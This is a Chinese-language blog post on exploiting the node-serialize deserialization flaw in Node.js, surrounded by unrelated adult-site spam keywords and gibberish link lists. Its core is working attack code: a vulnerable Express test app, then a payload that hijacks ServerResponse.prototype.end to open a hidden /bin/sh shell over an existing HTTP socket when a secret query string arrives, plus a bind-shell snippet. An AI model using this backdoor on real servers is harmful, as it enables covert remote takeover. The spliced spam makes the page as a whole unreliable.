国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

針對Node.js的node-serialize模塊反序列化漏洞的后續分析

安全 漏洞
在這篇文章中,我想展示我對這個特定的RCE的看法,分享一些額外的見解,也許這些看法會對你以后的研究有幫助。

[[184004]]

前言

對Node.js序列化遠程命令執行漏洞的一些后續發現和怎樣開發攻擊載荷。

幾天前我在opsecx博客上發現了一篇怎樣利用一個名為node-serialize的nodejs模塊中的RCE(遠程執行代碼)錯誤的博客。文章很清楚地解釋了模塊上存在的問題,我卻想到另外一件事,就是Burp的利用過程很復雜,卻沒有用Burp進行攻擊 -Burp 是一個很強大的工具 - 我認為我們可以做得更好。

在這篇文章中,我想展示我對這個特定的RCE的看法,分享一些額外的見解,也許這些看法會對你以后的研究有幫助。

攻擊方面

在我們開始之前,先檢查攻擊面是否可以使用。不要濫用節點序列化模塊。

節點序列化模塊。

下面是所有依賴模塊的列表:cdlib,cdlibjs,intelligence,malice,mizukiri,modelproxy-engine-mockjs,node-help,sa-sdk-node,scriby,sdk-sa-node,shelldoc,shoots。 因為沒有分析代碼,所以沒有辦法識別這些實現是否也是脆弱的,但是我假設它是脆弱性的。

更重要的是,我們還沒有回答這個模塊使用有多么廣泛的這個問題。 每月2000次下載可能意味著許多事情,很難估計這個數字后面的應用程序數量。 快速瀏覽一下github和google是獲得一些答案的有效方法,但是我卻發現一些有趣的地方。

GitHub搜索回顯了97個潛在的易受攻擊的公共模塊/應用程序,這些模塊/應用程序最有可能被私人使用,因為沒有登錄npmjs.com。 通過代碼瀏覽可以理解這個問題是多么廣泛(或沒有)。 我很驚訝地發現,它與神奇寶貝有關。我要去搞清楚!

我將在這里支持https://nodesecurity.io ,因為它是唯一的方法,在這種情況下,還對NodeJS模塊系統保持關注。 它對開源項目是免費的。

測試環境

到目前為止,我們認為我們正在處理一個具有有限的濫用潛力的漏洞,這從公共安全角度來看是有好處的。 讓我們進入更學術的一面,來重新利用它。 為了測試成功,我們需要一個易受攻擊的應用程序。 opsecx有一個這樣的程序,所以我們將在本練習中使用它。 代碼相當簡單。

  1. var express = require('express'); 
  2. var cookieParser = require('cookie-parser'); 
  3. var escape = require('escape-html'); 
  4. var serialize = require('node-serialize'); 
  5. var app = express(); 
  6. app.use(cookieParser()) 
  7. app.get('/', function(req, res) { 
  8.     if (req.cookies.profile) { 
  9.         var str = new Buffer(req.cookies.profile, 'base64').toString(); 
  10.         var obj = serialize.unserialize(str); 
  11.         if (obj.username) { 
  12.             res.send("Hello " + escape(obj.username)); 
  13.         } 
  14.     } else { 
  15.         res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { 
  16.             maxAge: 900000, 
  17.             httpOnly: true 
  18.         }); 
  19.         res.send("Hello stranger"); 
  20.     } 
  21. }); 
  22. app.listen(3000); 

您將需要以下package.json文件來完成(做NPM的安裝)

  1.   "dependencies": { 
  2.     "cookie-parser": "^1.4.3", 
  3.     "escape-html": "^1.0.3", 
  4.     "express": "^4.14.1", 
  5.     "node-serialize": "0.0.4" 
  6.   } 

所以讓我們跳過實際的事情。 從代碼中可以看到,此示例Web應用程序正在使用用戶配置文件設置cookie,該配置文件是使用易受攻擊的節點模塊的序列化對象。 這都是在進行base64編碼。 要想知道base64字符串在打包時看起來是什么,我們可以使用ENcoder

這看起來像標準JSON。 首先,讓我們設置Rest,以便我們可以測試它。 請注意,我們使用Cookie構建器來獲取正確的編碼,并且我們正在使用Encode小部件將JSON字符串轉換為Base64格式。

配置攻擊載荷

現在我們有一個工作請求,我們需要配置一個攻擊載荷。要做的第一件事是了解節點序列化漏洞究竟是如何工作的。縱觀源代碼這是很明顯的,該模塊將連續函數顯示在這里

  1. } else if(typeof obj[key] === 'function') { 
  2.   var funcStr = obj[key].toString(); 
  3.   if(ISNATIVEFUNC.test(funcStr)) { 
  4.     if(ignoreNativeFunc) { 
  5.       funcStr = 'function() {throw new Error("Call a native function unserialized")}'
  6.     } else { 
  7.       throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.'); 
  8.     } 
  9.   } 
  10.   outputObj[key] = FUNCFLAG + funcStr; 
  11. } else { 

一旦我們調用unserialize,這個問題就會顯現出來。 確切的方法在這里

  1. if(obj[key].indexOf(FUNCFLAG) === 0) { 
  2.   obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')'); 
  3. } else if(obj[key].indexOf(CIRCULARFLAG) === 0) { 

這意味著如果我們創建一個包含以_ $$ ND_FUNC $$ _開頭的值的任意參數的JSON對象,我們將執行遠程代碼,因為它將執行eval。 要測試這個,我們可以使用以下設置。

如果成功,并且它應該是成功的,您將得到一個錯誤,因為服務器將在請求完成之前退出。現在我們有遠程代碼執行,但是我們應該可以做得更好。

我們的重點

我發現在opsecx博客提出的利用技術有點粗魯,但是卻是個是非常好的演示。我們已經在關鍵過程中實現了eval,這樣我們可以做許多事情,以便獲得更好的入侵,而不需要涉及到python和階段攻擊。

這將存儲我們的代碼,使我們不必擔心編碼。 現在我們要做的是修改配置文件cookie,以便代碼變量可以嵌入在JSON和特殊方式node-serialize函數的正確編碼之后。

這很漂亮! 現在每次我們更改代碼變量時,配置文件cookie有效負載將通過保持編碼鏈和節點序列化來使其完全完成而動態更改。

內存后門

我們需要處理我們的代碼有效負載。 假設我們不知道應用程序是如何工作的,我們需要一個通用的方法來利用它,或者對于任何其他應用程序,沒有環境或設置的預先知識。 這意味著我們不能依賴可能存在或可能不存在的全局范圍變量。 我們不能依賴express應用程序導出,因此它可以訪問額外的路由安裝。 我們不想生成新的端口或反向shell,以保持最小的配置文件等。

這是一個很大的要求,但滿足一些研究后,很容易找到一種方法,來實現。

我們的旅程從http模塊引用ServerResponse函數開始。 ServerResponse的原型用作expressjs中的響應對象的__proto__。

  1. /** 
  2.  * Response prototype. 
  3.  */ 
  4. var res = module.exports = { 
  5.   __proto__: http.ServerResponse.prototype 
  6. }; 
  7. This means that if we change the prototype of ServerResponse that will reflect into the __proto__ of the response. The send method from the response object calls into the ServerResponse prototype. 
  8. if (req.method === 'HEAD') { 
  9.   // skip body for HEAD 
  10.   this.end(); 
  11. } else { 
  12.   // respond 
  13.   this.end(chunk, encoding); 

這意味著一旦send方法被調用,將調用end方法,這恰好來自ServerResponse的原型。 由于send方法被充分地用于任何與expressjs相關的事情,這也意味著我們現在有一個直接的方式來快速訪問更有趣的結構,如當前打開的套接字。 如果我們重寫原型的end方法,這意味著我們可以從這個引用獲得一個對socket對象的引用。

實現這種效果的代碼看起來像這樣。

  1. require('http').ServerResponse.prototype.end = (function (end) { 
  2.   return function () { 
  3.     // TODO: this.socket gives us the current open socket 
  4.   } 
  5. })(require('http').ServerResponse.prototype.end) 

由于我們覆蓋了end的原型,我們還需要以某種方式區分我們的啟動請求和任何其他請求,因為這可能會導致一些意想不到的行為。 我們將檢查查詢參數的特殊字符串(abc123),告訴我們這是我們自己的惡意請求。 可以從這樣的套接字訪問httpMessage對象來檢索此信息。

  1. require('http').ServerResponse.prototype.end = (function (end) { 
  2.   return function () { 
  3.     // TODO: this.socket._httpMessage.req.query give us reference to the query 
  4.   } 
  5. })(require('http').ServerResponse.prototype.end) 

現在我們準備好一切。 剩下的是啟動shell。 在節點中這是相對直接的。

  1. var cp = require('child_process') 
  2. var net = require('net') 
  3. net.createServer((socket) => { 
  4.     var sh = cp.spawn('/bin/sh') 
  5.     sh.stdout.pipe(socket) 
  6.     sh.stderr.pipe(socket) 
  7.     socket.pipe(sh.stdin) 
  8. }).listen(5001) 

在合并兩個段之后,最終代碼如下所示。 注意我們如何通過重用已經建立的套接字來重定向結束函數以在節點內產生一個shell。

  1. require('http').ServerResponse.prototype.end = (function (end) { 
  2.   return function () { 
  3.     if (this.socket._httpMessage.req.query.q === 'abc123') { 
  4.         var cp = require('child_process') 
  5.         var net = require('net') 
  6.         var sh = cp.spawn('/bin/sh') 
  7.         sh.stdout.pipe(this.socket) 
  8.         sh.stderr.pipe(this.socket) 
  9.         this.socket.pipe(sh.stdin) 
  10.     } else { 
  11.         end.apply(this, arguments) 
  12.     } 
  13.   } 
  14. })(require('http').ServerResponse.prototype.end) 

現在打開netcat到localhost 3000并鍵入以下請求

  1. $ nc localhost 3000 GET /?q=abc123 HTTP/1.1  
  2. ls -la 

什么? 你得不到任何東西。你看,我們正在劫持一個現有的套接字,因此我們不是套接字的唯一保管人。 還有其他的事情可能響應那個套接字,所以我們需要確保我們照顧他們。 幸運的是,這是很容易實現與一點知識如何節點套接字工作。 最終的代碼看起來像這樣。

  1. require('http').ServerResponse.prototype.end = (function (end) { 
  2.   return function () { 
  3.     if (this.socket._httpMessage.req.query.q === 'abc123') { 
  4.         ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket)) 
  5.         var cp = require('child_process') 
  6.         var net = require('net') 
  7.         var sh = cp.spawn('/bin/sh') 
  8.         sh.stdout.pipe(this.socket) 
  9.         sh.stderr.pipe(this.socket) 
  10.         this.socket.pipe(sh.stdin) 
  11.     } else { 
  12.         end.apply(this, arguments) 
  13.     } 
  14.   } 
  15. })(require('http').ServerResponse.prototype.end) 

現在,只要我們喜歡,我們就可以利用這個漏洞。 可以通過使用相同的服務器進程和建立的套接字打開具有我們的特殊字符串的請求來獲得遠程外殼。

結論

我們從一個簡單的RCE漏洞開始,最終創建了一個通用的方法來生成一個已經建立的HTTP通道的shell,它應該在許多類型的情況下獨立工作,有一些注意事項,我會留給你們。 整個事情的最棒的部分是在Rest的幫助下是開發簡單了很多,這無疑是最后幾個帖子中的功勞:1,2,3。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2011-06-01 14:50:48

2021-09-26 05:06:04

Node.js模塊機制

2020-04-15 15:48:03

Node.jsstream前端

2025-05-26 00:31:31

2016-09-21 00:15:27

2024-09-10 08:28:22

2021-04-02 09:00:00

Node.js開發工具

2023-06-30 23:25:46

HTTP模塊內存

2019-12-17 11:40:44

Node.js模塊前端

2011-06-01 15:05:02

序列化反序列化

2020-05-29 15:33:28

Node.js框架JavaScript

2012-02-03 09:25:39

Node.js

2021-10-20 07:18:50

Java 序列化漏洞

2013-11-01 09:34:56

Node.js技術

2015-03-10 10:59:18

Node.js開發指南基礎介紹

2020-01-03 16:04:10

Node.js內存泄漏

2017-03-20 13:43:51

Node.js內存泄漏

2017-03-19 16:40:28

漏洞Node.js內存泄漏

2021-12-25 22:29:57

Node.js 微任務處理事件循環

2022-08-06 08:41:18

序列化反序列化Hessian
點贊
收藏

51CTO技術棧公眾號

国产成人短视频在线观看| 日韩av午夜在线观看| 亚洲精品电影在线| caoporen人人| 国产呦精品一区二区三区网站| 国产精品色婷婷视频| 国产精品99久久免费| 亚洲成人教育av| 免费在线午夜视频| 狠狠躁夜夜躁人人爽超碰91 | 精品国产亚洲日本| 亚洲护士老师的毛茸茸最新章节| 波多野结衣在线网站| 色综合久久中文综合久久97| 99久热re在线精彩视频| 91xxx在线观看| 草草草在线视频| 狠狠综合久久av| 动漫一区二区三区| 日韩不卡中文字幕| 欧美极品美女视频网站在线观看免费| 欧美精品无码一区二区三区| 国产专区一区| 精品免费日产一区一区三区免费| 亚洲国产日本| 国产亚洲一区在线播放| 成人av地址| 欧洲一区在线观看| 精品无码久久久久国产| 国产99久久久国产精品成人免费 | av免费观看国产| 牛牛电影国产一区二区| 欧美一区二区三区男人的天堂| 精品一区二区三区中文字幕视频| 亚洲国产精品va在线观看黑人| 天堂中文字幕| 亚洲卡通欧美制服中文| 欧美三级午夜理伦三级老人| 亚洲无线视频| 国产日韩av在线播放| 任你躁在线精品免费| 亚洲新声在线观看| 91高清在线| 欧美丰满一区二区免费视频| 超碰在线免费看| 亚洲欧美中日韩| 不卡av免费在线| 美女视频黄 久久| 日韩少妇中文字幕| 日韩和欧美一区二区三区| 久久99精品国产99久久| 日韩三区视频| 亚洲乱码一区二区| av在线理伦电影| 小处雏高清一区二区三区| 国产精品一区二区黑丝| 一区二区国产日产| 亚洲精品乱码久久久久久 | 亚洲国产精品久久久久秋霞蜜臀 | 宅男av一区二区三区| 91丨九色丨黑人外教| 成人漫画网站免费| 国产精品亚洲视频| 毛片在线导航| 性日韩欧美在线视频| 欧美精品xxxxbbbb| 三级网站视频在在线播放| 亚洲少妇激情视频| 9191国产视频| 久久青草欧美一区二区三区| 天堂在线视频中文网| 欧美精品一二三| 国产色99精品9i| 91丨九色丨国产| 91在线免费播放| 国产高清av在线| 久久久久久久久久久成人| 在线亚洲成人| 制服丝袜影音先锋| 污污在线观看| 成人欧美一区二区三区视频xxx | 国产精品久久久久久久浪潮网站| 中文字幕免费在线视频| 亚洲精品电影久久久| 欧美日韩一二三四| 97中文字幕在线| 欧美日韩不卡在线| 超碰精品在线| 九一免费在线观看| 精品久久久久久久中文字幕| 综合久草视频| 日韩欧美激情一区二区| 亚洲综合男人的天堂| 日韩电影网站| 国产精品日韩高清| 国产精品超碰97尤物18| 小黄鸭精品aⅴ导航网站入口| 成人午夜电影免费在线观看| 中文字幕制服丝袜一区二区三区 | 成人久久一区| 日韩av在线播放不卡| 欧美一区二区在线不卡| 日韩大尺度在线观看| 17c丨国产丨精品视频| 欧美一区二区三区的| 亚洲综合色站| 九七影院97影院理论片免费| 国产一区二区久久精品| 久久精品女人天堂| 岛国大片在线观看| 91久久在线视频| 午夜久久久影院| 国产乱码精品一区二区三区四区| 阿v天堂2018| 日韩经典第一页| 免费国产自线拍一欧美视频| 日韩精品系列| 国产成人高清激情视频在线观看| 久久综合久久综合久久| 538视频在线| 少妇精品久久久久久久久久| 欧美女孩性生活视频| 天天做天天爱天天综合网2021| 97干com| 九九精品视频在线| 波多野结衣亚洲一区| 在线最新版中文在线| 秋霞毛片久久久久久久久| 一本到不卡精品视频在线观看| 你懂的在线观看一区二区| 91人人澡人人爽人人精品| 色妞久久福利网| 国产成人免费视| 国产成人精品123区免费视频| 亚洲国产欧美不卡在线观看 | 久久av红桃一区二区小说| 97超碰欧美中文字幕| 日韩一区二区三区免费视频| 激情成人开心网| 在线一区二区日韩| 99re成人精品视频| 亚洲一区有码| 99热.com| 国产精品视频中文字幕91| 一本高清dvd不卡在线观看| 午夜激情一区| 欲色天天网综合久久| 国产成人午夜99999| 国产成人精品一区二区三区视频 | 精品中文字幕久久久久久| 日精品一区二区三区| 国模雨婷捆绑高清在线| 波多野结衣激情| 日韩色av导航| 亚洲精品国产视频| 亚洲最大av| 黄色网页在线免费观看| 色乱码一区二区三区熟女| 国产一区二区三区视频免费| 国产亚洲一区字幕| 久久99国产成人小视频| 国产三级在线免费观看| 日韩欧美视频一区二区| 日韩视频免费观看| 亚洲色图丝袜美腿| 国产一区亚洲| 后进极品白嫩翘臀在线播放| 黄色一级片国产| 海角国产乱辈乱精品视频| 欧美性极品xxxx做受| 视频一区二区国产| 少妇精品视频在线观看| 免费毛片aaaaaa| 欧美日本韩国国产| 欧美精品一二区| 色综合久久精品| 国产一区二区精品在线观看| 911亚洲精品| 在线免费观看黄色网址| 国产美女主播在线| 青草成人免费视频| 日韩一区二区在线看片| 99精品国产视频| 亚欧美无遮挡hd高清在线视频 | 久久riav二区三区| 在线色欧美三级视频| 亚洲成a人片在线观看中文| 久久久久久9| 爱爱精品视频| 淫片在线观看| 欧美精品成人网| 国产精品日韩欧美一区二区| 久久精品国产综合| 日韩欧美国产高清91| 国产高清不卡二三区| 999精品在线| 欧美爱爱视频| 成人三级黄色免费网站| 日本免费观看网站| 水蜜桃亚洲一二三四在线|